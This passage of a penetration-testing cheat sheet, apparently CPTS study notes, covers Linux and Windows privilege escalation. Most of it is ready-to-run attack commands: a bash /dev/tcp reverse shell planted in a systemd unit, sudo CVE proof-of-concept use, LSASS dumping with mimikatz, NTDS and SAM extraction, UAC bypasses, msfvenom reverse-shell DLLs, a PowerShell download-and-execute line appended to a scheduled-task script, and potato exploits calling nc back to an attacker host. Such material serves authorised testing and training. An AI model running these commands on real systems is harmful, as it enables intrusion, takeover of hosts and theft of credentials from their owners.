    894 sudo PYTHONPATH=/tmp/ /usr/bin/python3 /path/mem_status.py   # my /tmp/psutil.py imported first as root
    895 ```
    896 
    897 > [!note] Python imports the **first** `sys.path` match — a writable dir *earlier* in the list beats the real package even when the package itself is untouchable. An `AttributeError` traceback *after* `id` prints is fine: code execution already happened, the crash is just my stub missing attributes. From 9 - Remaining Vectors & Skills Checklist.
    898 
    899 #### H — systemd service & timer abuse
    900 
    901 **What to look for:** a writable `.service`/`.timer` unit, a writable binary referenced by `ExecStart`, or `sudo systemctl`.
    902 
    903 ```bash
    904 systemctl list-timers --all
    905 find /etc/systemd/ /lib/systemd/ /run/systemd/ -writable -name '*.service' -o -writable -name '*.timer' 2>/dev/null
    906 systemctl cat <svc> | grep ExecStart              # is the target binary writable by me?
    907 ```
    908 ```bash
    909 # ── writable unit → point ExecStart at a revshell, reload, fire ──
    910 mkdir -p ~/.x; printf '[Service]\nType=oneshot\nExecStart=/bin/bash -c "bash -i >& /dev/tcp/'"$LHOST"'/443 0>&1"\n[Install]\nWantedBy=multi-user.target\n' > /etc/systemd/system/x.service
    911 systemctl daemon-reload && systemctl start x.service
    912 # ── sudo systemctl (GTFOBins): pager escape ──
    913 sudo systemctl status trail.service            # then at the pager:  !sh
    914 # no pager? sudo systemctl → set a temp unit as above, or `sudo systemctl edit --full <svc>` and inject ExecStart
    915 ```
    916 
    917 > [!warning] Watch out
    918 > A writable **timer** is as good as a writable service — point its `Unit=` at anything I can influence and wait for the schedule. `logrotate` is the same family: writable log + a vulnerable `logrotate` (3.8.6/3.11.0/3.15.0/3.18.0) → `logrotten -p ./payload /tmp/tmp.log` races rotation into a root shell. MITRE [T1543.002](https://attack.mitre.org/techniques/T1543/002/) Systemd Service. **Cleanup:** remove the planted unit and `systemctl daemon-reload` again.
    919 
    920 #### I — Sudo CVEs & sudoedit (when `sudo -l` is thin)
    921 
    922 **What to look for:** an old `sudo` (`sudo -V | head -1`), a single harmless-looking sudo grant, or a `sudoedit`/`-e` entry.
    923 
    924 ```bash
    925 sudo -V | head -1                                   # version is the whole prereq for the heap bug
    926 # Baron Samedit CVE-2021-3156 (< 1.9.5p2) — quick non-destructive DETECT before firing a PoC:
    927 sudoedit -s '\' $(python3 -c 'print("A"*1000)')     # "malloc(): ..." / segfault == vulnerable
    928 ```
    929 ```bash
    930 # ── Baron Samedit: blasty PoC, match target index to /etc/lsb-release ──
    931 git clone https://github.com/blasty/CVE-2021-3156 && cd CVE-2021-3156 && make
    932 cat /etc/lsb-release; ./sudo-hax-me-a-sandwich 1     # 1 = Focal/sudo1.8.31 etc.
    933 
    934 # ── CVE-2019-14287 (< 1.8.28): a lone `(ALL) /usr/bin/id`-style grant → run as UID -1 = 0 ──
    935 sudo -u#-1 /usr/bin/<the_allowed_binary>            # works when the allowed binary can spawn a shell
    936 
    937 # ── PwnKit CVE-2021-4034: needs only SUID pkexec, no sudo/group at all ──
    938 git clone https://github.com/arthepsy/CVE-2021-4034 && cd CVE-2021-4034
    939 gcc cve-2021-4034-poc.c -o poc && ./poc
    940 
    941 # ── sudoedit CVE-2023-22809: `sudo -l` shows sudoedit/`-e` → smuggle an extra file to edit ──
    942 export EDITOR='vi -- /etc/sudoers'                  # or /etc/passwd
    943 sudoedit /the/allowed/file                          # opens /etc/sudoers too → add NOPASSWD: ALL
    944 ```
    945 
    946 > [!warning] Watch out
    947 > The Baron Samedit heap offsets are **tuned per distro/sudo/libc** — a mismatched index can hang or crash the box, so match `/etc/lsb-release` exactly, and run the non-destructive `sudoedit -s` detector first. `tcpdump -z` postrotate (STAGE 9 §2) is now blocked by **AppArmor** on newer distros — check `aa-status`. Full CVE table: 5 - Sudo Rights & Privileged Group Abuse.
    948 
    949 #### J — Overlooked groups & shared sessions (`disk` · `adm` · `tmux`)
    950 
    951 **What to look for:** supplementary groups in `id` beyond `sudo/docker/lxd`, and root-owned tmux/screen sockets I can attach to (mechanics in §9 above).
    952 
    953 ```bash
    954 id                                             # disk? adm? and any *-writable socket
    955 ps aux | grep -E 'tmux|screen'                 # root session on a custom socket?
    956 ```
    957 ```bash
    958 # ── disk group: raw block-device access → read/write the whole FS with debugfs ──
    959 debugfs -w /dev/sda1                           # debugfs> cat /root/.ssh/id_rsa  (or write a SUID)
    960 # ── adm group: read every /var/log — creds, cron activity, tokens leaked to logs ──
    961 grep -riE 'pass|token|secret' /var/log 2>/dev/null
    962 # ── tmux socket hijack: group-writable root session → just reattach ──
    963 ls -la /shareds                                # srw-rw---- root devs, and I'm in devs
    964 tmux -S /shareds                               # drops me straight into root's live shell
    965 ```
    966 
    967 > [!tip] `disk` and `adm` never touch `/etc/sudoers` yet `disk` is effectively root (raw FS) and `adm` is a credential goldmine — always read `id` for *unfamiliar* groups, not just `sudo`. A root tmux/screen socket that's group-writable needs **zero exploit code** — attaching inherits root's running shell. All from 5 - Sudo Rights & Privileged Group Abuse + 9 - Remaining Vectors & Skills Checklist.
    968 ### 🪟 Windows PrivEsc — Deeper Vectors (token privs · DLL hijack · UAC · saved creds · potato matrix)
    969 
    970 The `SeImpersonate → potato` / weak-service / AlwaysInstallElevated wins above are the fast lane. When they miss, `whoami /priv` and `whoami /groups` are a *menu* — every **Disabled** privilege is still assigned and live. This is the deeper matrix: what each token privilege buys, the manual methods behind the automated finds, UAC, scheduled tasks, autoruns, the full saved-cred sweep, and how to pick the right potato. Full workflow: [Windows PrivEsc Cheat Sheet](/sheets/privilege-escalation/windows-privesc) · Implementation Roadmap Strategic Workflow for Windows Privilege Escalation.
    971 
    972 #### The token-privilege matrix (map the priv → the technique)
    973 
    974 **What to look for:** any of these in `whoami /priv`, even `Disabled`. Windows ships no cmdlet to flip a Disabled priv on — a scripted `AdjustTokenPrivileges` helper (`EnableAllTokenPrivs`, `Enable-Privilege.ps1`, or the tool's own self-enable) does it. (Summary table is §2 above; this is the deep-dive.)
    975 
    976 ```powershell
    977 whoami /priv
    978 [environment]::OSVersion.Version          # build → picks potato/UACMe technique
    979 ```
    980 
    981 | Privilege | Source acct (typical) | Technique | Tool |
    982 |---|---|---|---|
    983 | `SeImpersonate` / `SeAssignPrimaryToken` | IIS AppPool, MSSQL, `NETWORK/LOCAL SERVICE` | coerce a SYSTEM component → steal token | potato family (§3) |
    984 | `SeDebug` | dev accounts, misassigned GPO | dump LSASS **or** steal a SYSTEM proc token | procdump+mimikatz / psgetsys |
    985 | `SeTakeOwnership` | backup/VSS-adjacent svc accts | own any securable object, then re-ACL it | `takeown` + `icacls` |
    986 | `SeBackup` / `SeRestore` | Backup/Server Operators | ACL-bypass read (backup semantics) → NTDS/SAM | robocopy `/B`, diskshadow, DSInternals |
    987 | `SeManageVolume` | some service accounts | grant `Users` full control of `C:\` → DLL hijack | SeManageVolumeExploit |
    988 | `SeLoadDriver` | Print Operators | BYOVD — load a vulnerable signed driver | EoPLoadDriver + Capcom.sys |
    989 
    990 > [!note] `whoami /groups` matters as much as `/priv`. Membership in **Backup Operators / Server Operators / Print Operators / DnsAdmins** hands you `SeBackup`/`SeRestore`/`SeLoadDriver` etc. and is Domain-Admin-equivalent on the resources it touches — see the built-in-group section above and 4 - Privilege Abuse via Built-in Groups (SeDebug, SeTakeOwnership, DnsAdmins & More).
    991 
    992 #### SeDebugPrivilege → LSASS dump or direct SYSTEM token theft
    993 
    994 **What to look for:** `SeDebugPrivilege` present (Administrators by default, but handed to developers via *Debug programs* GPO). It lets you open **any** process — exactly what LSASS reading and token theft need. Do **not** migrate into `lsass` (you'll destabilise it); dump it offline or steal a *different* SYSTEM process's token.
    995 
    996 ```powershell
    997 whoami /priv | findstr /i SeDebug
    998 tasklist | findstr /i "winlogon lsass"       # note a SYSTEM PID (winlogon is reliable)
    999 ```
   1000 ```batch
   1001 :: ── (a) dump LSASS offline → creds via mimikatz on my box ──
   1002 procdump.exe -accepteula -ma lsass.exe lsass.dmp
   1003 :: no upload? Task Manager → Details → lsass.exe → Create dump file
   1004 :: LOLBAS one-liner (comsvcs.dll MiniDump), no procdump needed:
   1005 rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump <lsass_PID> C:\Windows\Temp\l.dmp full
   1006 ```
   1007 ```text
   1008 mimikatz # sekurlsa::minidump lsass.dmp
   1009 mimikatz # log
   1010 mimikatz # sekurlsa::logonpasswords
   1011 ```
   1012 ```powershell
   1013 # ── (b) skip creds entirely — inherit a SYSTEM proc's token → spawn cmd ──
   1014 .\psgetsys.ps1; [MyProcess]::CreateProcessFromParent((Get-Process "winlogon").Id,"c:\Windows\System32\cmd.exe","")
   1015 # the trailing "" third arg is REQUIRED. Swap winlogon for lsass if you prefer.
   1016 ```
   1017 
   1018 > [!warning] Watch out
   1019 > The `comsvcs.dll` MiniDump one-liner and `procdump -ma lsass` are both heavily signatured (Event 4688 + Defender ASR "block credential stealing from LSASS"). Token theft via `psgetsys` touches no cred store and is quieter. On a box with LSA Protection (`RunAsPPL=1`) a plain minidump fails — you'd need a driver/`mimikatz !+` route, out of scope for a quick win.
   1020 
   1021 #### SeTakeOwnershipPrivilege → own any file, then read it
   1022 
   1023 **What to look for:** `SeTakeOwnershipPrivilege` — grants `WRITE_OWNER` over *any* securable object. Common on a backup/VSS service account alongside `SeBackup`/`SeSecurity` without full local admin.
   1024 
   1025 ```powershell
   1026 # find the juicy target — owner shows as unreadable = too tight to read directly
   1027 Get-ChildItem -Path 'C:\Department Shares\Private\IT\cred.txt' | Select Fullname,@{N="Owner";E={(Get-Acl $_.FullName).Owner}}
   1028 ```
   1029 ```batch
   1030 takeown /f "C:\Department Shares\Private\IT\cred.txt"
   1031 icacls "C:\Department Shares\Private\IT\cred.txt" /grant %USERNAME%:F
   1032 type "C:\Department Shares\Private\IT\cred.txt"
   1033 ```
   1034 
   1035 High-value targets for this: `web.config`, `%WINDIR%\repair\{sam,system,security}`, `%WINDIR%\system32\config\*.sav`, `.kdbx`, `.vhdx`, any `pass*`/`cred*` file.
   1036 
   1037 > [!warning] Watch out
   1038 > `takeown` alone does **not** grant read — expect `Access denied` on `type` until the `icacls /grant` runs (two-step). An explicit **Deny** ACE still blocks you. Revert ownership + ACL afterward (`icacls /setowner`, remove the grant) and document it — this is a loud, hard-to-fully-undo change.
   1039 
   1040 #### SeBackup / SeRestore → NTDS *or* local SAM (beyond `robocopy /B`)
   1041 
   1042 **What to look for:** `SeBackupPrivilege` (read past any DACL via `FILE_FLAG_BACKUP_SEMANTICS`) + `SeRestorePrivilege` (write past it, and set owners). The `robocopy /B` + `reg save` route is in the Backup Operators block above — these are the alternates for when a file is *locked* (NTDS) or you want targeted extraction.
   1043 
   1044 ```powershell
   1045 # enable the priv in-session first (it flips Disabled→Enabled)
   1046 Import-Module .\SeBackupPrivilegeUtils.dll; Import-Module .\SeBackupPrivilegeCmdLets.dll
   1047 Set-SeBackupPrivilege; Get-SeBackupPrivilege
   1048 ```
   1049 ```text
   1050 # Diskshadow interactive prompt: snapshot the locked NTDS volume
   1051 C:\> diskshadow.exe
   1052 DISKSHADOW> set context persistent
   1053 DISKSHADOW> begin backup
   1054 DISKSHADOW> add volume C: alias cdrive
   1055 DISKSHADOW> create
   1056 DISKSHADOW> expose %cdrive% E:
   1057 DISKSHADOW> end backup
   1058 ```
   1059 
   1060 ```powershell
   1061 # Copy the locked database through the exposed shadow volume.
   1062 Copy-FileSeBackupPrivilege E:\Windows\NTDS\ntds.dit C:\Temp\ntds.dit
   1063 ```
   1064 
   1065 ```batch
   1066 :: Export the SYSTEM hive from an elevated Command Prompt.
   1067 reg save HKLM\SYSTEM C:\Temp\SYSTEM
   1068 ```
   1069 ```powershell
   1070 # ── targeted, on-host, no Linux hop: pull one account straight out of ntds.dit (DSInternals) ──
   1071 Import-Module .\DSInternals.psd1
   1072 $key = Get-BootKey -SystemHivePath .\SYSTEM
   1073 Get-ADDBAccount -DistinguishedName 'CN=administrator,CN=users,DC=inlanefreight,DC=local' -DBPath .\ntds.dit -BootKey $key
   1074 ```
   1075 ```batch
   1076 :: On a member server or workstation, export the local SAM and SYSTEM hives.
   1077 reg save HKLM\SAM C:\Temp\SAM
   1078 reg save HKLM\SYSTEM C:\Temp\SYSTEM
   1079 ```
   1080 
   1081 ```bash
   1082 # Parse the copied hives or NTDS database offline from Linux.
   1083 impacket-secretsdump -ntds ntds.dit -system SYSTEM LOCAL      # whole domain
   1084 impacket-secretsdump -sam SAM -system SYSTEM LOCAL            # local hashes
   1085 ```
   1086 
   1087 > [!tip] `Copy-FileSeBackupPrivilege` needs the two `SeBackupPrivilege*.dll`s uploaded; `robocopy /B` (in the Backup Operators block) does the same with only native binaries — reach for it when third-party files are blocked. [DSInternals](https://github.com/MichaelGrafnetter/DSInternals) is the PowerShell toolkit for on-host NTDS parsing. A `.vhd/.vhdx/.vmdk` on a backup share is the tool-free version of this whole chain: mount it (`guestmount -a disk.vmdk -i --ro /mnt` on Linux, or Disk Mgmt → *Attach VHD*) and `secretsdump ... LOCAL` its `Config\` hives — see 15 - Scheduled Tasks, Description Fields & Mounting Disks.
   1088 
   1089 #### SeManageVolume → arbitrary write to `C:\` → DLL hijack chain
   1090 
   1091 **What to look for:** `SeManageVolumePrivilege` **Enabled** (seen on the MSSQL virtual service account in 3 - Windows Privileges & Impersonation Attacks (JuicyPotato, PrintSpoofer)). It's abusable into a full-control ACL over `C:\`, which becomes SYSTEM via a DLL a privileged process loads.
   1092 
   1093 ```powershell
   1094 whoami /priv | findstr /i SeManageVolume
   1095 ```
   1096 ```batch
   1097 :: SeManageVolumeExploit.exe (CsEnox) grants BUILTIN\Users full control of C:\ recursively
   1098 .\SeManageVolumeExploit.exe
   1099 :: now drop a hijack DLL where a SYSTEM process/service resolves it (e.g. a missing
   1100 :: DLL under C:\Windows\System32 that a scheduled task / service loads), then trigger it
   1101 ```
   1102 
   1103 > [!warning] Watch out
   1104 > This is a two-stage primitive — SeManageVolume only gives you the *write*; you still need a SYSTEM process that loads a DLL from a now-writable path (pair with the DLL-hijack discovery below). Granting `Users` full control of `C:\` is extremely noisy and hard to fully revert — get sign-off and restore the ACL after proving it.
   1105 
   1106 #### Service & application DLL hijacking (proxy vs invalid-library)
   1107 
   1108 **What to look for:** a service running as SYSTEM (`sc qc <svc>` → `LocalSystem`) whose own folder is writable, or that searches for a DLL it never ships. Code execution follows whatever process loads the DLL — hijack a **SYSTEM** service and it's privesc, not just RCE. Search-order table is in §6 above. Full walkthrough: 9 - DLL Hijacking.
   1109 
   1110 ```powershell
   1111 # ── discovery: PowerUp finds writable-PATH and hijackable-process DLL slots ──
   1112 Import-Module .\PowerUp.ps1
   1113 Find-PathDLLHijack ; Find-ProcessDLLHijack
   1114 # ── manual: Process Monitor, filter the target EXE, then either ──
   1115 #   Operation is 'Load Image'  → a DLL it loads by unqualified name from its own dir (proxy target)
   1116 #   Path ends with '.dll' AND Result is 'NAME NOT FOUND' → a DLL it wants but never finds (free win)
   1117 # static triage without running it:
   1118 dumpbin /imports C:\Path\to\service.exe        # or PE Explorer / Process Explorer
   1119 icacls "C:\Program Files\VulnApp"              # is the app's own folder writable?
   1120 ```
   1121 ```bash
   1122 # ── invalid-library hijack: app looks for x.dll, never finds it, you own 100% of it ──
   1123 msfvenom -p windows/x64/shell_reverse_tcp LHOST=$LHOST LPORT=443 -f dll -o x.dll
   1124 # rename to the exact missing name, drop in the app's own writable dir, restart the svc
   1125 ```
   1126 
   1127 > [!tip] Two flavours: **proxying** re-exports the real functions (load `library.o.dll`, call through, run your payload) so the app keeps working — quiet, hard to spot. **Invalid-library** fills a `NAME NOT FOUND` gap — total control, no functionality to preserve, but more conspicuous if the missing DLL was supposed to do something visible. `DllMain`'s `DLL_PROCESS_ATTACH` is where the payload fires.
   1128 
   1129 > [!warning] Watch out
   1130 > Safe DLL Search Mode (on by default) pushes the *current working directory* below `System32`, but the **application's own directory is always searched first** — that's what keeps hijacking alive on a patched box. A hijack in a user-context app is same-privilege RCE, worthless for escalation; always tie it back to the loading process's account before spending time on it.
   1131 
   1132 #### UAC bypass (fodhelper · srrstr · eventvwr · CVE-2019-1388)
   1133 
   1134 **What to look for:** I'm in the local Administrators group but `whoami /priv` shows only a standard-user token (split-token / medium integrity). Confirm UAC is on and how strict, then match a UACMe technique to the exact build. Full worked example: 5 - User Account Control (UAC) Bypass. MITRE [T1548.002](https://attack.mitre.org/techniques/T1548/002/).
   1135 
   1136 ```batch
   1137 reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA
   1138 reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin
   1139 :: EnableLUA 0x1 = on. ConsentPromptBehaviorAdmin 0x5 ("Always notify") = strictest, kills most techniques.
   1140 ```
   1141 ```batch
   1142 :: ── fodhelper.exe — classic fileless auto-elevate, no DLL on disk ──
   1143 reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /d "cmd.exe /c C:\Windows\Temp\rev.exe" /f
   1144 reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /v DelegateExecute /t REG_SZ /f
   1145 fodhelper.exe
   1146 :: ── eventvwr.exe variant (same idea, different hijacked class) ──
   1147 reg add "HKCU\Software\Classes\mscfile\shell\open\command" /d "C:\Windows\Temp\rev.exe" /f & eventvwr.exe
   1148 :: cleanup: reg delete both keys /f
   1149 ```
   1150 ```bash
   1151 # ── DLL-search UACMe technique 54 (build ≥14393): auto-elevating SystemPropertiesAdvanced.exe ──
   1152 msfvenom -p windows/shell_reverse_tcp LHOST=$LHOST LPORT=443 -f dll > srrstr.dll
   1153 # drop into the user-writable, PATH-listed WindowsApps folder, then run the 32-bit binary:
   1154 #   %LOCALAPPDATA%\Microsoft\WindowsApps\srrstr.dll  →  C:\Windows\SysWOW64\SystemPropertiesAdvanced.exe
   1155 ```
   1156 
   1157 > [!warning] Watch out
   1158 > UAC is **not a security boundary** to Microsoft — bypasses are build-specific flaws, so check `[environment]::OSVersion.Version` and consult the [UACMe](https://github.com/hfiref0x/UACME) table for a technique that matches. `ConsentPromptBehaviorAdmin=0x5` rules out most registry-hijack techniques (they rely on default `0x2`). RID-500 built-in Administrator always runs high-integrity regardless. **CVE-2019-1388** (patched Nov 2019) is the GUI fallback on unpatched boxes: *Run as admin* a Microsoft-signed binary with a populated `SpcSpAgencyInfo` cert field (`hhupd.exe`) → *Show publisher cert* → click the **Issued by** hyperlink → a SYSTEM browser opens → *Save As* → type `c:\windows\system32\cmd.exe` → SYSTEM shell.
   1159 
   1160 #### Scheduled-task script abuse
   1161 
   1162 **What to look for:** a task set to **Run As** SYSTEM/a privileged account that invokes a script or binary in a folder *my* user can write to. Standard users can't read `C:\Windows\System32\Tasks`, so lean on writable-folder discovery, not the task list.
   1163 
   1164 ```powershell
   1165 schtasks /query /fo LIST /v                 # run-as acct, schedule, last result
   1166 Get-ScheduledTask | select TaskName,State
   1167 Import-Module .\PowerUp.ps1; Get-ModifiableScheduledTaskFile   # automated find
   1168 .\accesschk64.exe /accepteula -s -d C:\Scripts\               # RW BUILTIN\Users on a task's script dir?
   1169 ```
   1170 ```powershell
   1171 # ── append a callback to the writable script → runs as the task's account on next fire ──
   1172 Add-Content C:\Scripts\db-backup.ps1 "`nIEX(New-Object Net.WebClient).DownloadString('http://$env:LHOST/r.ps1')"
   1173 # then wait for the schedule (hourly/daily), or trigger it if you can: schtasks /run /tn "<TaskName>"
   1174 ```
   1175 
   1176 > [!tip] This is a *plant-and-check-back* technique — worth a dedicated writable-folder pass late in a multi-day engagement even when nothing fires immediately. Also cheap adjacent checks: `Get-LocalUser` (Description field) and `Get-WmiObject Win32_OperatingSystem | select Description` (computer description) occasionally leak creds outright — 15 - Scheduled Tasks, Description Fields & Mounting Disks. MITRE [T1053.005](https://attack.mitre.org/techniques/T1053/005/).
   1177 
   1178 #### Registry autorun (Win32_StartupCommand)
   1179 
   1180 **What to look for:** an autorun binary launched at another user's logon whose file — or the `Run` key itself — is writable by me. Distinct from the plaintext-AutoLogon reg query in the cred block above; this is the *executable* being hijackable.
   1181 
   1182 ```powershell
   1183 Get-CimInstance Win32_StartupCommand | select Name,command,Location,User | fl
   1184 Import-Module .\PowerUp.ps1; Get-ModifiableRegistryAutoRun
   1185 ```
   1186 ```batch
   1187 :: writable autorun binary → replace it; or writable HKLM\...\Run → point it at my payload
   1188 copy /Y C:\Windows\Temp\payload.exe "C:\Path\To\autorun.exe"
   1189 ```
   1190 
   1191 > [!note] Cross-reference the `User` column against local admins — an autorun that runs as a standard peer is worthless; one that runs at an admin's logon is the win. HKLM `Run` entries fire for whoever logs on next.
   1192 
   1193 #### Saved-cred deep sweep (Vault · DPAPI · PuTTY · KeePass · Sticky Notes · Wi-Fi)
   1194 
   1195 **What to look for:** everywhere Windows and apps stash reusable secrets beyond the `cmdkey`/AutoLogon/PS-history basics above. Re-run this **after every priv gain** — profiles unreadable before become readable. One-pass looters: [LaZagne](https://github.com/AlessandroZ/LaZagne) (staged: [LaZagne.exe](/downloads/pentest-workflow/LaZagne.exe) ([SHA-256](/downloads/pentest-workflow/LaZagne.exe.sha256) · [GPG signature](/downloads/pentest-workflow/LaZagne.exe.sha256.asc))) and [SessionGopher](https://github.com/Arvanaghi/SessionGopher). Full index: [Stage 08](/sheets/pentest-workflow/password-attacks-and-credential-hunting) · 10 - Credential Hunting on Windows · 13 - Pillaging Windows Hosts.
   1196 
   1197 ```batch
   1198 :: ── Windows Credential Vault (web + generic creds, separate from cmdkey) ──
   1199 vaultcmd /list
   1200 vaultcmd /listcreds:"Windows Credentials" /all
   1201 vaultcmd /listcreds:"Web Credentials" /all
   1202 :: ── PuTTY proxy creds sit in cleartext in HKCU ──
   1203 reg query HKCU\SOFTWARE\SimonTatham\PuTTY\Sessions\<name>    :: ProxyUsername / ProxyPassword
   1204 :: ── Wi-Fi PSKs (needs local admin) ──
   1205 netsh wlan show profile <ssid> key=clear
   1206 ```
   1207 ```powershell
   1208 # ── DPAPI-protected material — decrypts transparently AS the originating user ──
   1209 $c = Import-Clixml C:\scripts\pass.xml; $c.GetNetworkCredential().Password   # PS credential object
   1210 .\SharpChrome.exe logins /unprotect                                          # browser saved logins
   1211 .\SharpDPAPI.exe triage                                                      # masterkeys + creds + vaults
   1212 gc "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Custom Dictionary.txt" | Select-String pass  # typed-in-wrong-field
   1213 # ── saved sessions across PuTTY/WinSCP/FileZilla/RDP ──
   1214 Import-Module .\SessionGopher.ps1; Invoke-SessionGopher -Thorough
   1215 # ── one-pass everything ──
   1216 .\LaZagne.exe all
   1217 ```
   1218 ```bash
   1219 # ── KeePass DB found → crack offline ──
   1220 keepass2john help_desk.kdbx > kp.hash
   1221 hashcat -m 13400 kp.hash rockyou.txt
   1222 # ── Sticky Notes: copy %LOCALAPPDATA%\Packages\Microsoft.MicrosoftStickyNotes_*\LocalState\plum.sqlite* ──
   1223 strings plum.sqlite-wal | grep -iE "pass|user"      # or: SELECT Text FROM Note (PSSQLite / DB Browser)
   1224 ```
   1225 
   1226 > [!warning] Watch out
   1227 > DPAPI ties decryption to the **originating user + machine** — `Import-Clixml`, SharpChrome, and vault creds only decrypt when you run *as that user* (or have their DPAPI masterkey / the domain backup key). Don't waste time trying to decrypt another user's blob from your own context. `unattend.xml` / `sysprep.xml` (search `C:\Windows\Panther`, `C:\Windows\System32\Sysprep`) hold cleartext-or-Base64 AutoLogon creds and often survive image deployment.
   1228 
   1229 #### GPP cpassword (SYSVOL) — the domain-wide freebie
   1230 
   1231 **What to look for:** on a domain-joined host, once you can read SYSVOL (any authenticated user can) — Group Policy Preference XML (`Groups.xml`, `Services.xml`, `ScheduledTasks.xml`, `DataSources.xml`) with a `cpassword` attribute. Microsoft published the AES key, so it's reversible, not cracked.
   1232 
   1233 ```bash
   1234 # ── over SMB from the attack box ──
   1235 nxc smb $DC -u "$U" -p "$P" -M gpp_password
   1236 # ── or manually: find the XML, decrypt ──
   1237 findstr /S /I cpassword \\$DOMAIN\sysvol\$DOMAIN\Policies\*.xml
   1238 gpp-decrypt <cpassword_blob>
   1239 ```
   1240 
   1241 > [!note] This is really an AD-enumeration find but it lands often during a host privesc pass and frequently yields a reused local-admin password. Deep dives: 🟣 Attack · 🔴 Attack. Patched by MS14-025, but legacy `Groups.xml` files persist for years.
   1242 
   1243 #### Potato selection matrix — pick by OS build, not by habit
   1244 
   1245 **What to look for:** `SeImpersonate` (or `SeAssignPrimaryToken`) confirmed. All potatoes are the *same* `SeImpersonate` abuse — they differ only in **how** they coerce a SYSTEM component to authenticate to a listener. Check the build first: `[environment]::OSVersion.Version` / `systeminfo`. Deep dive: 🟣 Attack. Quick-reference requirement columns are in the §3 decision table above.
   1246 
   1247 | Variant | Coercion mechanism | Use when | Fails when |
   1248 |---|---|---|---|
   1249 | **JuicyPotato** | DCOM/NTLM reflection (needs a working CLSID) | Server ≤2016 / Win10 <1809 | **dead** on Server 2019+ / Win10 1809+ (DCOM path patched) |
   1250 | **PrintSpoofer** | Print Spooler RPC (`spoolss` named pipe) | Spooler running (any build incl. 2019/2022) | Spooler disabled (post-PrintNightmare GPO) |
   1251 | **RoguePotato** | OXID resolver relayed via a redirector on `135` | Spooler disabled but you can stand up the OXID redirector | outbound `135` blocked / no redirector |
   1252 | **GodPotato** | DCOM (RPC/DCOM, newer CLSID path) | **broadest** — Server 2012→2022, Win8→11, no Spooler needed | rare; try first if others fail |
   1253 | **SweetPotato / DCOMPotato** | bundles several of the above | want auto-fallback across methods | — |
   1254 
   1255 ```batch
   1256 :: JuicyPotato also covers SeAssignPrimaryToken via -t (tries CreateProcessWithTokenW AND CreateProcessAsUser):
   1257 JuicyPotato.exe -l 53375 -p c:\windows\system32\cmd.exe -a "/c C:\Temp\nc64.exe %LHOST% 443 -e cmd.exe" -t *
   1258 :: RoguePotato needs the socat/redirector: rogue OXID resolver reachable on 135
   1259 RoguePotato.exe -r %LHOST% -e "C:\Temp\nc64.exe %LHOST% 443 -e cmd.exe" -l 9999
   1260 ```
   1261 
   1262 > [!warning] Watch out
   1263 > The potato binary itself is quiet; the loud part is the SYSTEM `cmd`/`powershell` spawned from `w3wp.exe`/`sqlservr.exe` (Event 4688) and the `SeImpersonate`/`SeDebug` grant tripping Event 4672. If a variant fails, it's almost always the **coercion vector** missing (Spooler off, DCOM patched, `135` blocked) — not the privilege. GodPotato first, PrintSpoofer if Spooler's up, RoguePotato when it isn't, JuicyPotato only on legacy.
   1264 
   1265 ---
   1266 
   1267 ---
   1268 
   1269 ### 🧭 CPTS tips & pitfalls (both platforms)
   1270 
   1271 - **Re-enumerate after every privilege gain.** New group membership / new shell = new readable files, new `sudo -l`, new tokens. Most chains in HTB/CPTS are 2–3 hops (user → svc acct → root/SYSTEM), and each hop unlocks the next clue.
   1272 - **The enum script is a hint engine, not an answer.** LinPEAS red/yellow findings are leads; verify by hand before burning an exploit. Conversely, don't trust a *clean* auto-enum — it can't see what perms hide (that's what pspy and manual `sudo -l`/`whoami /all` catch).
   1273 - **Match payload architecture**: `uname -m` before pspy32/pspy64; check installed .NET (`reg query "HKLM\SOFTWARE\Microsoft\NET Framework Setup\NDP\v4\Full" /v Release`) before picking GodPotato-NET35 vs -NET4.
   1274 - **Interactive-shell assumptions break in CTF/service contexts**: potatoes and `sc` work fine from `xp_cmdshell`/webshell contexts, but anything needing a *window station* (UAC GUI tricks, some `runas`) needs a real session.
   1275 - **Common time-wasters:** chasing an unquoted service path you can't restart, trying JuicyPotato on Server 2019+, compiling kernel exploits on Kali for a target with a different glibc, trying to decrypt another user's DPAPI blob, planting a SUID shell on a `nosuid` mount.
   1276 - **Document as you go** — every changed binpath, added user, dropped DLL, edited unit file is a report artifact *and* a cleanup item. See [Stage 11](/sheets/pentest-workflow/documentation-and-reporting).
   1277 - **Cron PATH vs shell PATH:** cron jobs run with the `PATH=` line *inside* `/etc/crontab` (or the daemon default), not your interactive PATH — a writable dir only matters if it's on *that* PATH and the job uses a relative binary name (§5/§A).
   1278 - **Capabilities beat file perms for stealth:** nothing changes in `ls -l`; defenders auditing only SUID bits miss `setcap` binaries. Offensively: always run `getcap -r /` — defensively: it's a finding worth reporting.
   1279 - **Potato hygiene:** run the potato `-cmd` once with a *payload* (add-user / nc callback), not `whoami` — every execution spawns the loud SYSTEM child process (4688); make the first shot count.
   1280 - **Check `/etc/exports` on the target, `showmount -e` from outside** — NFS exports visible externally aren't always the ones you're in scope to mount; and `no_root_squash` is the only flag that matters for privesc (§C).
   1281 - **Password reuse closes more chains than exploits do.** Every cleartext find (history, unattend.xml, web.config, `groups.xml`) goes straight into the spray list for Stage 08/Stage 10.
   1282 
   1283 > [!example] Worked mini-chain (typical CPTS box)
   1284 > Web shell as `www-data` → `sudo -l` shows `(backup) NOPASSWD: /usr/bin/tar` → GTFOBins tar-sudo → shell as `backup` → `backup` is in `disk` group → `debugfs` reads `/root/.ssh/id_rsa` → `ssh -i` as root. Three hops, zero CVEs, all from the decision tables above.
   1285 
   1286 > [!success] Stage 9 exit checklist
   1287 > - [ ] `sudo -l` / `whoami /priv` + `/groups` answered, decision tables walked
   1288 > - [ ] Auto-enum (linpeas/winpeas + pspy) results triaged, RED findings verified manually
   1289 > - [ ] Cron/scheduled-task writable-path chains checked end-to-end (`namei` / accesschk on every component)
   1290 > - [ ] Capabilities (`getcap -r /`) and group memberships (`id` / `whoami /groups`) reviewed for the non-obvious ones (`disk`, `adm`, `Event Log Readers`, `Hyper-V Administrators`)
   1291 > - [ ] Every gained privilege re-looted (SSH keys, hives, creds — see [Stage 08](/sheets/pentest-workflow/password-attacks-and-credential-hunting))
   1292 > - [ ] Kernel exploits only after misconfigs exhausted, with stability risk noted
